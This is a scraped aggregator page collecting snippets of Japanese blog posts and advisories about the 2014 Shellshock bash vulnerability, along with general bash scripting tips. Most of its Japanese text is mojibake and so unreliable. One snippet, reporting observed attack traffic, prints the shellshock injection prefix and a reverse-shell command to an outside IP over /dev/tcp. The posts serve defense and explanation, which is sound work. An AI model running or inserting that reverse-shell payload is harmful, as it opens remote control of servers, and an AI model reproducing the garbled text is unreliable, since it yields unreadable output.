NameBright - Domain ExpiredIf this is your domain name you must renew it immediately before it is deleted and permanently removed from your account. To renew this domain name visit NameBright.com
第4回　ã‚ãšã‹1週間程度ã§BashãŒå¤§å¹…ãªé€²åŒ–ã‚’é‚ã’ãŸã€€ï½žShellshock大暴れ～ | gihyo.jp
10月ã«å…¥ã‚Šã€9月ã¾ã§ã«èµ·ã“ã£ãŸã“ã¨ã‚’ã–ã£ã¨æŒ¯ã‚Šè¿”ã‚‹ã¨ã„ã†ãŠé¡ŒãŒã©ã“ã‹ã‹ã‚‰èžã“ãˆã¦ããŸã®ã§ã€ã€Œâ ã˜ã‚ƒã‚……ã€ã¨ã„ã†æ„Ÿã˜ã§æŒ¯ã‚Šè¿”ã£ã¦ã¿ã‚‹ã“ã¨ã¨ã—ã¾ã™ã€‚ ã‚ãšã‹1週間程度ã§BashãŒå¤§å¹…ãªé€²åŒ–ã‚’é‚ã’ãŸã€€ï½žShellshock大暴れ～ ã¾ã ç¾åœ¨é€²è¡Œå½¢ã®äº‹æ¡ˆã§ã¯ã‚ã‚Šã¾ã™ãŒã€9月下旬ã«ç™ºè¦šã—ãŸBashã®è„†å¼±æ€§ã«èµ·å› ã—ã¦ã€10月上旬ã¾ã§ã¾ã åŽæŸã—ã¦ã„ãªã„Shellshock。 Bash 4.3ã®ä¾‹ã§èª¬æ˜Žã™ã‚‹ã¨ã€Patchlevel 25～30ã¾ã§ã¯ä»¥ä¸‹ã®ã‚ˆã†ãªè»Œè·¡ã‚’ãŸã©ã£ã¦ã„ã¾ã™ã€‚ 9月24æ—¥ã«Patchlevel 25 9月26æ—¥ã«Patchlevel 26 9月27æ—¥ã«Patchlevel 27 10月1æ—¥ã«Patchlevel 28 10月2æ—¥ã«Patchlevel 29 10月5æ—¥ã«Patchlevel 30 ã“ã®é–“ã«ç™ºè¦‹ã€ä¿®æ£ã•ã‚ŒãŸè„†å¼±æ€§ã¯ã€CVE-2014-6271ã€CVE-2014-71
緊急コラム： bash 脆弱性（ CVE-2014-6271 ）ã®å½±éŸ¿ç¯„囲ã®èª¿æŸ»æ–¹æ³•ã«ã¤ã„㦠| æ ªå¼ä¼šç¤¾NTTデータ先端技術
Tweet 先週公開ã•ã‚ŒãŸ bash ã®è„†å¼±æ€§ã«ã¤ã„ã¦ã€ç®¡ç†ã•ã‚Œã¦ã„るサーãƒãƒ¼ã¸ã®å½±éŸ¿ã‚’æ°—ã«ã•ã‚Œã¦ã„ã‚‹æ–¹ãŒå¤šã„ã¨æ€ã„ã¾ã™ã€‚ãã“ã§ç·Šæ€¥ã‚³ãƒ©ãƒ ã¨ã—ã¦ã€å½±éŸ¿ç¯„囲ã®èª¿æŸ»æ–¹æ³•ã«ã¤ã„ã¦ç´¹ä»‹ã—ã¾ã™ã€‚ bash ã¯éžå¸¸ã«å¤šãã®å ´é¢ã§ä½¿ç”¨ã•ã‚Œã¦ã„るプãƒã‚°ãƒ©ãƒ ã§ã‚ã‚‹ãŸã‚〠bash を呼ã³å‡ºã™å¯èƒ½æ€§ã®ã‚るプãƒã‚°ãƒ©ãƒ ã‚„å ´é¢ã‚’ソースコード解æžã«ã‚ˆã‚Šåˆ—挙ã™ã‚‹ã“ã¨ã¯å›°é›£ã§ã™ã€‚ã¾ãŸã€è¨å®šãƒ•ã‚¡ã‚¤ãƒ«ã§ã®æŒ‡å®šå†…容ãªã©ã«ã‚‚ä¾å˜ã™ã‚‹å¯èƒ½æ€§ã‚‚ã‚ã‚Šã€æ–‡ç« ã§ã®ãŠå•åˆã›ã«ã‚ˆã‚Šæ¼ã‚Œã®ç„¡ã„的確ãªåˆ¤æ–ãŒã§ãã‚‹ã‹ã©ã†ã‹ä¸å®‰ãŒæ®‹ã‚Šã¾ã™ã€‚ Red Hat Enterprise Linux （ RHEL ）ã«ã¯ SELinux ã¨ã„ã†ã‚»ã‚ュリティを強化ã™ã‚‹ãŸã‚ã®æ©Ÿèƒ½ãŒæ載ã•ã‚Œã¦ã„ã¾ã™ã€‚ã—ã‹ã—ã€è„†å¼±æ€§ã®å•é¡Œã«é™ã‚‰ãšã€ã‚·ã‚¹ãƒ†ãƒ ã®ãƒˆãƒ©ãƒ–ル予防ã¨é©åˆ‡ãªå¯¾å‡¦ã‚’è¡Œã†ä¸Šã§ã¯ã€å¯¾è±¡ã¨ãªã‚‹ã‚·ã‚¹ãƒ†ãƒ ã®è¨å®šã‚„挙動を事å‰ã«æŠŠæ¡ã—ã¦ãŠãã“ã¨ãŒé‡è¦ã§ã‚ã‚‹ã¨è€ƒãˆã¾ã™ã€‚ 今回ã®è„†å¼±
[Linux][ã‚»ã‚ュリティ] shellshockã¯Perl/CGIã§system()ã«ãƒ€ãƒ¡ãƒ¼ã‚¸ã‚ã‚Šã‚„ç„¡ã—ã‚„ - ã‚ã°é›»åãŒè©°ã¾ã¤ã¦ã‚ã‚‹
bashã®è„†å¼±æ€§"shellshock"ãŒéžå¸¸ã«è©±é¡Œã«ãªã£ã¦ãŠã‚Šã¾ã™ãŒã€ã“ã‚ŒãŒã„ã‚ã„ã‚ã¨äº‹æƒ…ãŒå…¥ã‚Šçµ„ã‚“ã§ãŠã‚Šå…¨å®¹ãŒã¤ã‹ã¿ã¥ã‚‰ã„。 ã¨ã„ã†ã“ã¨ã§ã“ã“ã§ã¯å…¨å®¹ã‚’ç†è§£ã™ã‚‹ã®ã‚’早々ã«æ”¾æ£„ã—ã¦ã€ä»¥ä¸‹ã®ãƒ¬ã‚¬ã‚·ãƒ¼ç’°å¢ƒã«çµžã£ãŸç‹ã„話をã—ã¾ã™ã€‚レガシーã¨ã¯è¨€ã£ã¦ã‚‚ã€ãã‚Œãªã‚Šã«é‰„æ¿ã®æ§‹æˆãªã®ã§å¯¾è±¡è€…ã¯å¤šã„ã®ã§ã¯ç„¡ã„ã§ã—ょã†ã‹ã€‚ç§ã¯è€å®³ãªã®ã§ã€Perlã—ã‹åˆ†ã‹ã‚‰ãªã„ã®ã§ã™ã€‚PHPã¯å«Œã„。 CentOS(Red Hat) 6 or 7 Perlã®CGIã®å†…部ã§ã€system()を使ã£ã¦ã„る。 (CGIã¨ã—ã¦å‹•ä½œã•ã›ã¦ãŠã‚Šã€mod_perlã‚„PSGI/Plackã¯ä½¿ã£ã¦ã„ãªã„） ãªãŠã€shellshock自体ã®è§£èª¬ã¯ã“ã“ã§ã¯è¡Œã„ã¾ã›ã‚“。 基礎知è˜ï¼šCentOSã®/bin/sh ã¯ã˜ã‚ã«ã€/bin/shã¨bashã®é–¢ä¿‚ã«ã¤ã„ã¦äºˆå‚™çŸ¥è˜ã‚’知ã£ã¦ãŠãå¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚ ç¾åœ¨ã®CentOSãŠã‚ˆã³Red Hat Linuxã«ãŠ
![[Linux][ã‚»ã‚ュリティ] shellshockã¯Perl/CGIã§system()ã«ãƒ€ãƒ¡ãƒ¼ã‚¸ã‚ã‚Šã‚„ç„¡ã—ã‚„ - ã‚ã°é›»åãŒè©°ã¾ã¤ã¦ã‚ã‚‹](https://cdn-ak-scissors.b.st-hatena.com/image/square/f77c9e27b8b7d36d66282a5b875412e52be8308d/height=288;version=1;width=512/https%3A%2F%2Fcdn.image.st-hatena.com%2Fimage%2Fscale%2Fcbc21aac86be298727ab12dd593be25aea5c2e0f%2Fbackend%3Dimagemagick%3Bheight%3D1300%3Bversion%3D1%3Bwidth%3D1300%2Fhttps%253A%252F%252Fimages-fe.ssl-images-amazon.com%252Fimages%252FI%252F61%25252BoUa8crmL._SL160_.jpg)
更新：bash ã®è„†å¼±æ€§å¯¾ç–ã«ã¤ã„ã¦(CVE-2014-6271 ç‰)：IPA 独立行政法人 æƒ…å ±å‡¦ç†æŽ¨é€²æ©Ÿæ§‹
GNU Project ãŒæä¾›ã™ã‚‹ bash ã¯ã€Linux ãªã© UNIX 系㮠OS ã«å«ã¾ã‚Œã‚‹ã‚³ãƒžãƒ³ãƒ‰ã‚’実行ã™ã‚‹ãŸã‚ã®ã‚·ã‚§ãƒ«ï¼ˆOS ã®ä¸€éƒ¨ã¨ã—ã¦ãƒ—ãƒã‚°ãƒ©ãƒ ã®èµ·å‹•ã‚„制御ãªã©ã‚’è¡Œã†ãƒ—ãƒã‚°ãƒ©ãƒ ）ã§ã™ã€‚ bash ã«ä»»æ„ã® OS コマンドを実行ã•ã‚Œã‚‹è„†å¼±æ€§ (CVE-2014-6271) ãŒç™ºè¦‹ã•ã‚Œã€2014 å¹´ 9 月 24 æ—¥ã«ä¿®æ£ãƒ‘ッãƒãŒå…¬é–‹ã•ã‚Œã¾ã—ãŸã€‚ ãŸã ã—ã€CVE-2014-6271ã¸ã®ä¿®æ£ãŒä¸å分ã§ã‚ã‚‹ã¨ã„ã†æƒ…å ±ãŒã‚ã‚Šã¾ã™ã€‚ãã®ä¿®æ£ãŒä¸å分ã§ã‚ã‚‹ã“ã¨ã«ã‚ˆã‚‹è„†å¼±æ€§ (CVE-2014-7169) ã«å¯¾å¿œã—ãŸã‚¢ãƒƒãƒ—デートã¾ãŸã¯ãƒ‘ッãƒã‚‚å„ベンダã‹ã‚‰é †æ¬¡å…¬é–‹ã•ã‚Œã¦ã„ã¾ã™ã€‚ bash を使用ã—㦠OS コマンドを実行ã™ã‚‹ã‚¢ãƒ—リケーションを介ã—ã¦ã€é éš”ã‹ã‚‰ä»»æ„ã® OS コマンドを実行ã•ã‚Œã‚‹å¯èƒ½æ€§ãŒã‚ã‚Šã¾ã™ã€‚ 図：脆弱性を悪用ã—ãŸæ”»æ’ƒã®ã‚¤ãƒ¡ãƒ¼ã‚¸ è¦å¯Ÿåºã«ã‚ˆã‚‹ã¨æœ¬è„†å¼±æ€§ã‚’標的ã¨ã—ãŸã‚¢ã‚¯ã‚»ã‚¹ãŒè¦³
/dev/tcpã«ã‚ˆã‚‹bashã®ã‚½ã‚±ãƒƒãƒˆé€šä¿¡
件ã®bashã®è„†å¼±æ€§ãŒæ®‹ã£ã¦ã„ã‚‹ã“ã¨ã‚’期待ã—ãŸã‚¢ã‚¯ã‚»ã‚¹ã«ã¤ã„ã¦ã€24時間ã»ã©å‰ã«ã¯æ¥ã¦ãªã‹ã£ãŸã‚“ã§ã™ãŒã€ã•ãã»ã©ãƒã‚°ã‚’見ã¦ã¿ãŸã‚‰ã¡ã‚‡ã£ã¨ã ã‘æ¥ã¦ã¾ã—ãŸã€‚ ãƒã‚°ã«æ®‹ã‚‹ã®ã¯ User-Agent ãらã„ãªã®ã§ã™ãŒã€ã»ã‹ã®ãƒ•ã‚£ãƒ¼ãƒ«ãƒ‰ã§è©¦ã—ã¦ã„る輩もã„ã‚‹ã“ã¨ã§ã—ょã†ã€‚ アクセス元を逆引ãã—ã¦ã¿ãŸã‚“ã§ã™ãŒã€ã‚¯ãƒ©ã‚¦ãƒ‰ã‚µãƒ¼ãƒ“スã°ã£ã‹ã‚Šã§ã—ãŸï¼ˆä¸€å€‹ã ã‘ shodan.io ãªã‚‹ãƒ‰ãƒ¡ã‚¤ãƒ³ã®ä¸‹ã®IPアドレスã‹ã‚‰ã‚ã£ãŸã®ã ã‘ã©ã€ãªã‚“ã ã‚ã†â€¦â€¦ï¼‰ã€‚ ã•ã¦ã€() { :;}; ã®å¾Œã«ãªã«ã‚’ã‚„ã£ã¦ã‚‹ã®ã‹ã€ã¨ã„ã†ã®ãªã‚“ã§ã™ãŒã€ä¸€ã¤ THIS IS VULNERABLE 㨠echo ã™ã‚‹ã ã‘ã¨ã„ã†äººãŒã„ã¾ã—ãŸã€‚è¦å‘Šã®ã¤ã‚‚ã‚Šãªã®ã‹ã€æ‰‹å‹•ã§ä½•ã‹ç¢ºèªã—ã¦ã„ã‚‹ã®ã‹ãªã€‚ã‚ã¨ã¯pingã ãªâ€¦â€¦ã¨æ€ã£ã¦ãŸã‚“ã§ã™ãŒã€ã¡ã‚‡ã£ã¨ç‰¹ç•°ãªã‚‚ã®ãŒã€‚ /bin/bash -i > /dev/tcp/198.206.15.239/8081 0>&1
Linuxアプライアンス類もBash脆弱性対ç–ã‚’ - .@sknn's tumblr.
[NEW] 2014/09/30: アプライアンスã®å¯¾å¿œçŠ¶æ³ã¾ã¨ã‚ã‚’éšæ™‚æ›´æ–°ä¸ CVE-2014-6271åŠã³CVE-2014-7169ããŸ(Bash脆弱性)。 世間ã§ã¯ã€å¤–部公開サーãƒãƒ¼(特ã«Webサーãƒãƒ¼)ã¸ã®å¯¾å‡¦ãŒç€ã€…ã¨é€²ã‚られã¦ã„ã¾ã™ã€‚Webサーãƒãƒ¼ã ã‘ã§ãªãã€ãƒ¡ãƒ¼ãƒ«ã‚µãƒ¼ãƒãƒ¼ã¸ã®æ”»æ’ƒãƒ‘ターンも早期ã«è¦‹ä»˜ã‹ã£ã¦ã„ã¾ã™ã€‚外部公開サーãƒãƒ¼ã«å¯¾ã™ã‚‹ç·åˆçš„ãªç‚¹æ¤œãŒè¿‘ã„ã†ã¡ã«é€²ã‚“ã§ã„ãã‚‚ã®ã¨æ€ã‚ã‚Œã¾ã™ã€‚ bash Shellshock through MAIL .forward / qmail-alias piping (ML program etc.) CVE-2014-6271 http://t.co/QPbSE8dppM http://t.co/AFuHudkCdh September 26, 2014ã—ã‹ã—ã€ä¸€èˆ¬çš„ãªã‚µãƒ¼ãƒãƒ¼é¡žã ã‘ã§ãªã主ã«ãƒ•ã‚¡ã‚¤ã‚¢ã‚¦ã‚©ãƒ¼ãƒ«ã®å†…部ã«è¨ç½®ã•ã‚Œã¦ã„るアプライ
bashã«ãŠã‘る脆弱性「Shellshockã€ã«ã¤ã„ã¦
2014/09/26　コース：元祖ã“ã£ã¦ã‚Š 「元祖ã“ã£ã¦ã‚Šã€è¨˜äº‹ã¯ãƒãƒƒãƒˆã‚¨ãƒ¼ã‚¸ã‚§ãƒ³ãƒˆæ—§ãƒ–ãƒã‚°[netagent-blog.jp]ã«æŽ²è¼‰ã•ã‚Œã¦ã„ãŸè¨˜äº‹ã§ã‚ã‚Šã€ç¾åœ¨ãƒãƒƒãƒˆã‚¨ãƒ¼ã‚¸ã‚§ãƒ³ãƒˆã«åœ¨ç±ã—ã¦ã„ãªã„ライターã®è¨˜äº‹ã‚‚å«ã¿ã¾ã™ã€‚ bashã«ãŠã‘る脆弱性「Shellshockã€ã«ã¤ã„㦠Linuxã‚„Mac OS Xãªã©ã®UNIXç³»OSã§åºƒã使用ã•ã‚Œã¦ã„ã‚‹bashã«è¦‹ã¤ã‹ã£ãŸè„†å¼±æ€§(Shellshockã¨å‘¼ã°ã‚Œã¦ã„ã¾ã™)ãŒå…ˆæ—¥ã‹ã‚‰è©±é¡Œã«ãªã£ã¦ã„ã¾ã™ã€‚ 弊社ã§ã‚‚ã“ã®bashã®è„†å¼±æ€§ã«ã¤ã„ã¦èª¿æŸ»ã‚’è¡Œã„ã¾ã—ãŸã€‚ â– æ¦‚è¦ ç’°å¢ƒå¤‰æ•°ã«ç‰¹å®šã®æ–‡å—列をè¨å®šã™ã‚‹ã ã‘ã§ãã®ç’°å¢ƒå¤‰æ•°å†…ã®æ–‡å—列をシェルãŒé–¢æ•°ã¨ã—ã¦å®Ÿè¡Œã—ã¦ã—ã¾ã„ã¾ã™ã€‚ シェルを通ã˜ã¦ã‚³ãƒžãƒ³ãƒ‰ç‰ã‚’実行ã™ã‚‹å¹…広ã„環境ã§å½±éŸ¿ãŒã‚ã‚Šã¾ã™ãŒã€ç‰¹ã«é¡•è‘—ã«å½±éŸ¿ã‚’å—ã‘ã‚‹ã®ã¯CGIç‰ã®Webアプリケーション環境ã§ã™ã€‚ CGIã‚’ã¯ã˜ã‚ã¨ã™ã‚‹Webアプリケーションã§ã¯Webブラ
ファイアウォール内ã®ã‚µãƒ¼ãƒã«å¯¾ã™ã‚‹Shellshockを利用ã—ãŸæ”»æ’ƒ - 葉ã£ã±æ—¥è¨˜
2014-09-27: 該当サイト上ã«XSSãŒãªãã¦ã‚‚攻撃å¯èƒ½ã§ã‚ã‚‹ã“ã¨ãŒ id:mayuki ã•ã‚“ã®ã‚³ãƒ¡ãƒ³ãƒˆã§åˆ¤æ˜Žã—ã¾ã—ãŸã®ã§å…¨é¢çš„ã«æ›¸ãç›´ã—ã¾ã—ãŸã€‚ファイアウォール内ã§ã‚ã£ã¦ã‚‚攻撃者ã¯ãƒ•ã‚¡ã‚¤ã‚¢ã‚¦ã‚©ãƒ¼ãƒ«å†…ã®Shellshock攻撃ãŒé€šç”¨ã™ã‚‹CGIã®URLãŒã‚ã‹ã£ã¦ã„ã‚‹ã ã‘ã§æ”»æ’ƒå¯èƒ½ã§ã™ã®ã§æ—©æ€¥ã«å¯¾å¿œãŒå¿…è¦ã§ã™ï¼ä¼šç¤¾ã®ãƒ–ãƒã‚°ã«ã‚‚書ã„ã¦ã¾ã™ãŒã€ãƒ•ã‚¡ã‚¤ã‚¢ã‚¦ã‚©ãƒ¼ãƒ«å†…ã«ç½®ã„ã¦ã‚るサーãƒã§æ”»æ’ƒè€…ãŒç›´æŽ¥ã‚¢ã‚¯ã‚»ã‚¹ã§ããªã„ã‹ã‚‰ã¨ã„ã£ã¦bashã®æ›´æ–°ã‚’æ€ ã£ã¦ã„ã‚‹ã¨ã€æ¡ä»¶ã«ã‚ˆã£ã¦ã¯æ”»æ’ƒãŒå¯èƒ½ã¨ãªã‚Šã¾ã™ã€‚ æ¡ä»¶ã¨ã—ã¦ã¯ã€ ãã®ã‚µãƒ¼ãƒã«ã¯ã‚·ã‚§ãƒ«ã‚’経由ã—ã¦å¤–部コマンドを起動ã™ã‚‹CGIç‰ãŒå‹•ã„ã¦ã„ã‚‹(通常ã®Shellshockã®æ”»æ’ƒã¨åŒæ¡ä»¶) 攻撃者ãŒãã®URLを事å‰ã«çŸ¥ã£ã¦ã„ã‚‹(ã‚ã‚‹ã„ã¯æŽ¨æ¸¬å¯èƒ½) ã¨ãªã‚Šã¾ã™ã€‚ 攻撃者ã¯ã€ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚’ç½ URLã¸èª˜å°Žã—ã€ä»¥ä¸‹ã®ã‚ˆã†ãªJavaScriptã‚’ç½ ãƒšãƒ¼ã‚¸ä¸Šã§å‹•ã‹ã—ã€æ”»æ’ƒå¯¾è±¡ã®W
ウェブアプリã«ãŠã‘ã‚‹Bash脆弱性ã®å³æ»æ¡ä»¶ #ShellShock - ã‚ã‚‚ãŠãã°
æ¡ä»¶1. /bin/shã®å®Ÿä½“ãŒbashã®ãƒ‡ã‚£ã‚¹ãƒˆãƒªãƒ“ューション RHEL CentOS Scientific Linux Fedora Amazon Linux openSUSE Arch Linux (自らè¨å®šã—ãŸå ´åˆ: Debian, Ubuntu) æ¡ä»¶2. 動作環境 CGI (レンタルサーãƒã§ã‚ã‚ŠãŒã¡ãªCGIモードã®PHPç‰ã‚‚å«ã‚€) Passenger(Ruby) æ¡ä»¶3. プãƒã‚°ãƒ©ãƒ 内容 Passengerã¯å…¨æ»äº¡ *1 systemã‚„ `command`〠'| /usr/lib/sendmail' ãªã©ã§å¤–部コマンド実行 *2 PHPã®mailã‚„mb_send_mailã€ãã®ä»–フレームワークç‰ã‚’介ã—ãŸãƒ¡ãƒ¼ãƒ«é€ä¿¡ *3 以下ã¯æ¡ä»¶1ãŒä¸è¦ 明示的ã«bashを呼㶠先é 㧠#!/bin/bash ã‚„ #!/usr/bin/env bash ã—ã¦ã„るプãƒã‚°ãƒ©ãƒ を実行 (rbenv
BASHã®è„†å¼±æ€§ã§CGIスクリプトã«ã‚¢ãƒ¬ã•ã›ã¦ã¿ã¾ã—ãŸ
環境変数ã«ä»•è¾¼ã¾ã‚ŒãŸã‚³ãƒ¼ãƒ‰ã‚’実行ã—ã¦ã—ã¾ã†BASHã®è„†å¼±æ€§ãŒ CGIスクリプトã«å½±éŸ¿ã‚’与ãˆã‚‹ã‹è©¦ã—ã¦ã¿ãŸã‚‰çµæžœã¯æ‚²æƒ¨ãªæ„Ÿã˜ã« Tweet 2014å¹´9月25æ—¥ 嶋田大貴 ã“ã®è¨˜äº‹ã¯2014å¹´ã®ã‚‚ã®ã§ã™ æœã‹ã‚‰ Bash specially-crafted environment variables code injection attack ãªã‚‹ã‚‚ã®ã§é¨’ãŽã«ãªã£ã¦ã„ãŸã®ã§ã€ã•ã£ãã手元㮠Apacheã§è©¦ã—ã¦ã¿ã¾ã—ãŸã€‚ /hoge.cgiã¨ã„ã†URIã§å®Ÿè¡Œã•ã‚Œã‚‹ã‚ˆã†ã«ã€ä¸€è¡Œã®ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã‚’出力ã™ã‚‹ã ã‘ã® CGIスクリプトをè¨ç½®ã—ã¾ã™ã€‚ã„ã£ã‘ã‚“ã€ãªã‚“ã®å…¥åŠ›ã‚‚クライアントå´ã‹ã‚‰å—ã‘付ã‘ã¦ã„ãªã„ãŸã‚å±é™ºã®ã‚りよã†ã‚‚ãªã見ãˆã¾ã™ã€‚ #!/bin/sh echo "Content-type: text/plain" echo echo "Hi! I'm an ordinary CGI script w
ã€bash】リダイレクトã¨ãƒ‘イプをç†è§£ã™ã‚‹ï¼ˆï¼‘） - ç§ã¯ç´ 人サーãƒç®¡ç†è€…
次回：ã€bash】リダイレクトã¨ãƒ‘イプをç†è§£ã™ã‚‹ï¼ˆï¼’） 普段ãªã«ã’ãªãリダイレクトやパイプを使ã£ã¦ã„ã¾ã™ãŒã€å‹‰å¼·ã‚’å…¼ãã¦ã¾ã¨ã‚ã¦ã¿ã¾ã™ã€‚ ※長ããªã‚Šãã†ãªã®ã§é©å½“ã«è¤‡æ•°å›žã«åˆ†ã‘ã¾ã™ã€‚ 標準入出力 標準入出力ã¨ã¯ã‚³ãƒžãƒ³ãƒ‰ã«ä¸Žãˆã‚‰ã‚ŒãŸã€ãƒ‡ãƒ¼ã‚¿ã‚¹ãƒˆãƒªãƒ¼ãƒ 入出力ã«é–¢ã™ã‚‹ã‚¤ãƒ³ã‚¿ãƒ¼ãƒ•ã‚§ãƒ¼ã‚¹ã®ã“ã¨ã§ã™ã€‚ 標準入出力ã«ã¯ä»¥ä¸‹ã®3ã¤ãŒã‚ã‚Šã¾ã™ã€‚ åå‰ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆãƒ•ã‚¡ã‚¤ãƒ«ãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ã‚¿(FD) 標準入力ã‚ーボード0 標準出力画é¢1 標準エラー出力画é¢2 標準入力ã¯ã‚³ãƒžãƒ³ãƒ‰ã¸ã®å…¥åŠ›ã‚¹ãƒˆãƒªãƒ¼ãƒ ã§ã€ã‚ーボードã‹ã‚‰ã®å…¥åŠ›ã§ã™ã€‚ 標準出力ã¯ã‚³ãƒžãƒ³ãƒ‰ã‹ã‚‰ã®å‡ºåŠ›ã‚¹ãƒˆãƒªãƒ¼ãƒ ã§ã€ã‚¨ãƒ©ãƒ¼é–¢ä¿‚以外ã®ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã‚’端末画é¢ã«å‡ºåŠ›ã—ã¾ã™ã€‚ 標準エラー出力ã¯æ¨™æº–出力ã¨åŒæ§˜ã«ã‚³ãƒžãƒ³ãƒ‰ã‹ã‚‰ã®å‡ºåŠ›ã‚¹ãƒˆãƒªãƒ¼ãƒ ã§ã™ãŒã€ エラー関係ã®ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã‚’端末画é¢ã«å‡ºåŠ›ã™ã‚‹ç‚¹ãŒç•°ãªã‚Šã¾ã™ã€‚ ファイルディスクリプタ(FD) FDã¯ã‚³ãƒžãƒ³ãƒ‰ãŒå¤–部リソースã¨é€šä¿¡ã™ã‚‹ãŸ
Shell programming with bash: by example, by counter-example
You type in commands. Bash executes them. Unix users spend a lot of time manipulating files at the shell. As a shell, it is directly available via the terminal in both Mac OS X (Applications > Utilities) and Linux/Unix. At the same time, bash is also a scripting language: Bash scripts can automate routine or otherwise arduous tasks involved in systems administration. Why use bash? Here are example
シェルスクリプトを書ãã¨ãã¯set -euã—ã¦ãŠã - Qiita
を書ã„ã¦ãŠã。以下解説。 set -e エラーãŒã‚ã£ãŸã‚‰ã‚·ã‚§ãƒ«ã‚¹ã‚¯ãƒªãƒ—トをãã“ã§æ‰“ã¡æ¢ã‚ã«ã—ã¦ãれる（exit 0以外ãŒè¿”ã‚‹ã‚‚ã®ãŒã‚ã£ãŸã‚‰æ¢ã¾ã‚‹ã‚ˆã†ã«ãªã‚‹ï¼‰ã€‚「ã‚ã£ã‚ã‚Œã“ã“ã§ã†ã¾ãã„ã£ã¦ãªã„ã‹ã‚‰ãƒ‡ãƒ¼ã‚¿æº–å‚™ã§ãã¦ãªã„ã®ã«ã‚ã‚Œã‚ã‚Œã£ã‚‚ã†ã‚„ã‚ã¦ï¼ã€ã£ã¦ãªã‚‹ã®ã‚’防ã’る。 set -u 未定義ã®å¤‰æ•°ã‚’使ãŠã†ã¨ã—ãŸã¨ãã«æ‰“ã¡æ¢ã‚ã«ã—ã¦ãれる。Perlã§ã„ã†use strict 'vars';çš„ãªã‚‚ã®ã€‚ ã£ã¦æ°—軽ãªæ°—æŒã¡ã§æ›¸ã„ã¦ã—ã¾ã£ã¦ã€ã€Œã‚“ã€ã‚„ãŸã‚‰æ™‚é–“ã‹ã‹ã‚‹ã¨æ€ã£ãŸã‚‰ã‚¹ãƒšãƒ«ãƒŸã‚¹ã†ã‚ãªã«ã‚’ã™ã‚‹ã‚„ã‚ã€ã£ã¦ãªã‚‹ã®ã‚’防ã’る。 一部ã ã‘例外ã«ã—ãŸã„ ã¯ã¦ãªãƒ–ックマークã®ã‚³ãƒ¡ãƒ³ãƒˆã‚ˆã‚Š -e 㯠command1 || command2 ã¿ãŸã„ãªã“ã¨ãŒå‡ºæ¥ãªããªã‚‹ã®ä½¿ã†ã“ã¨ãªã„ãªã€‚-uã¯ä»˜ã‘ã¨ã„ã¦è‰¯ã„ãŒã€‚ 確ã‹ã«ãŠã£ã—ゃるã¨ãŠã‚Šã§ã™ã。コマンドã®å¤±æ•—を考慮ã—ã¦æ›¸ã„ã¦ã„る部分ã«ã¤ã„ã¦ã¯ï¼ˆã‚‚ã—ãã¯ã‚„ãŸã‚‰exit 0以外
ã†ã£ã‹ã‚Šnohupç„¡ã—ã§é•·æ™‚é–“ã‹ã‹ã‚‹ã‚³ãƒžãƒ³ãƒ‰ã‚’実行ã—ãŸã¨ãã«å¾Œã‹ã‚‰çµ‚了ã—ãªã„よã†ã«ã™ã‚‹ - Glide Note
ã„ã¤ã¾ã§çµŒã£ã¦ã‚‚終ã‚らãªã„ã‹ã‚‰å¸°ã‚Œãªã„… 途ä¸ã§çµ‚了ã—ã¦ã—ã¾ã†ã¨å›°ã‚‹ã®ã§ã€ãƒã‚°ã‚¢ã‚¦ãƒˆã—ã¦ã‚‚終了ã—ãªã„よã†ã«ã€‚ 作æ¥ã®æµã‚Œ Ctrl+Zã§ã‚³ãƒžãƒ³ãƒ‰ã®ä¸æ– bgã§ãƒãƒƒã‚¯ã‚°ãƒ©ã‚¦ãƒ³ãƒ‰ã«å›žã™ jobsã§ã‚¸ãƒ§ãƒ–ã®ç¢ºèª disownã§ãƒã‚°ã‚¢ã‚¦ãƒˆã—ã¦ã‚‚実行ã•ã‚Œã‚‹ã‚ˆã†ã«ã™ã‚‹ 実際ã®ã‚³ãƒžãƒ³ãƒ‰ã ã¨
ç§ãŒä»–人ã®ã‚·ã‚§ãƒ«ã‚¹ã‚¯ãƒªãƒ—トã‹ã‚‰å¦ã‚“ã ã“㨠| Yakst
ç§ã¯ã‚·ã‚§ãƒ«ã‚¹ã‚¯ãƒªãƒ—トã®å¤§ãƒ•ã‚¡ãƒ³ã§ã€ä»–人ã®ã‚¹ã‚¯ãƒªãƒ—トã‹ã‚‰é¢ç™½ã„方法をå¦ã¶ã®ãŒå¤§å¥½ãã 。最近ã€SSHサーãƒã®2è¦ç´ èªè¨¼ã‚’ç°¡å˜ã«ã™ã‚‹ãŸã‚ã®authy-sshスクリプトã«å‡ºä¼šã£ãŸã€‚ã“ã®ã‚¹ã‚¯ãƒªãƒ—ト群を見ã¾ã‚ã—ã¦ã„ã¦ã€ã¿ã‚“ãªã¨å…±æœ‰ã—ãŸã„ãŸãã•ã‚“ã®ã‚¯ãƒ¼ãƒ«ãªã“ã¨ã‚’見ã¤ã‘ãŸã€‚ 出力ã«è‰²ä»˜ã‘ã™ã‚‹ 出力文å—列をã€æˆåŠŸã—ãŸæ™‚ã¯ç·‘ã«ã€å¤±æ•—ã—ãŸæ™‚ã¯èµ¤ã«ã€è¦å‘Šã¯é»„色ã«è‰²ã¥ã‘ã—ãŸã„ã¨æ€ã†ã“ã¨ã¯ãŸãã•ã‚“ã‚ã‚‹ã ã‚ã†ã€‚ NORMAL=$(tput sgr0) GREEN=$(tput setaf 2; tput bold) YELLOW=$(tput setaf 3) RED=$(tput setaf 1) function red() { echo -e "$RED$*$NORMAL" } function green() { echo -e "$GREEN$*$NORMAL" } function yellow() { e
bashã®ãƒ—ãƒã‚»ã‚¹ç½®æ›æ©Ÿèƒ½ã‚’活用ã—ã¦ã€ã‚·ã‚§ãƒ«ä½œæ¥ã‚„スクリプト書ãを効率化ã™ã‚‹ - åŒå…å·¥å ´æ—¥èªŒ
